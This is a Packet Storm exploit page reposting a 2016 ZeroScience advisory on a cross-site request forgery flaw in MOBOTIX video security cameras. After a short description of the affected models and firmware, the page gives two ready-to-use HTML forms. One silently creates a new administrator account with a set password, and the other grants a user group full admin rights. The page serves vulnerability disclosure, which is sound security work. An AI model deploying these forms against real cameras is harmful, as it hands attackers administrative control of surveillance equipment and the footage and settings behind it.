Exploit the possiblities

MOBOTIX Video Security Cameras Cross Site Request Forgery

MOBOTIX Video Security Cameras Cross Site Request Forgery
Posted Mar 30, 2016
Authored by LiquidWorm | Site zeroscience.mk

The application interface MOBOTIX VMS allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

tags | exploit, web
MD5 | b12d89b94fa1f53c222f083dea77526c

MOBOTIX Video Security Cameras Cross Site Request Forgery

Change Mirror Download
<!--


MOBOTIX Video Security Cameras CSRF Add Admin Exploit


Vendor: MOBOTIX AG
Product web page: https://www.mobotix.com
Affected version: [Model]: D22M-Secure, [HW]: T2r1.1.AA, 520 MHz, 128 MByte RAM, [SW]: MX-V3.5.2.23.r3
[Model]: Q24M-Secure, [HW]: T2r3.1, 806 MHz, [SW]: MX-V4.1.10.28
[Model]: D14D-Secure, [HW]: T2r4.2b, 806 MHz, 256 MByte RAM, [SW]: MX-V4.1.4.70
[Model]: M15D-Secure, [HW]: T3r4.4, 806 MHz, [SW]: MX-V4.3.4.50

Summary: MOBOTIX is a German System Manufacturer of Professional Video
Management (VMS) and Smart IP Cameras. These cameras support all standard
features of MOBOTIX IP cameras like automatic object detection, messaging
via network and onboard or network recording. The dual lens thermal system
supports additionally a second optical video sensor with 6-megapixel resolution.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: Linux 2.6.37.6+
thttpd/2.19-MX


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2016-5312
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5312.php


25.02.2016

-->



Add admin user Testingus:
-------------------------

<html>
<body>
<form action="http://10.0.0.17/admin/access" method="POST">
<input type="hidden" name="user_name_0" value="admin" />
<input type="hidden" name="user_group_0" value="admins" />
<input type="hidden" name="user_passwd_a_0" value="***" />
<input type="hidden" name="user_passwd_b_0" value="***" />
<input type="hidden" name="user_name_2" value="Testingus" />
<input type="hidden" name="user_group_1" value="admins" />
<input type="hidden" name="user_passwd_a_2" value="l33tp4ss" />
<input type="hidden" name="user_passwd_b_2" value="l33tp4ss" />
<input type="hidden" name="sv_passwd_a" value="" />
<input type="hidden" name="sv_passwd_b" value="" />
<input type="hidden" name="super_pin_1" value="" />
<input type="hidden" name="super_pin_2" value="" />
<input type="hidden" name="save_config" value="Set" />
<input type="submit" value="Submit" />
</form>
</body>
</html>


Add group 'users' to admin area:
--------------------------------

<html>
<body>
<form action="http://10.0.0.17/admin/acl" method="POST">
<input type="hidden" name="group_allow_guest_global" value="on" />
<input type="hidden" name="group_allow_live_global" value="on" />
<input type="hidden" name="group_allow_player_global" value="on" />
<input type="hidden" name="group_allow_multiview_global" value="on" />
<input type="hidden" name="group_allow_pda_global" value="on" />
<input type="hidden" name="group_allow_mxcc_global" value="on" />
<input type="hidden" name="group_allow_info_global" value="on" />
<input type="hidden" name="group_allow_imagelink_global" value="on" />
<input type="hidden" name="group_allow_api_global" value="on" />
<input type="hidden" name="group_allow_image_setup_0" value="on" />
<input type="hidden" name="group_allow_event_setup_0" value="on" />
<input type="hidden" name="group_name_1" value="guests" />
<input type="hidden" name="group_name_2" value="users" />
<input type="hidden" name="group_allow_admin_2" value="on" />
<input type="hidden" name="group_allow_image_setup_2" value="on" />
<input type="hidden" name="group_allow_event_setup_2" value="on" />
<input type="hidden" name="new_group" value="" />
<input type="hidden" name="save_config" value="Set" />
<input type="hidden" name="more_or_less" value="less" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    19 Files
  • 18
    Nov 18th
    4 Files
  • 19
    Nov 19th
    2 Files
  • 20
    Nov 20th
    9 Files
  • 21
    Nov 21st
    14 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close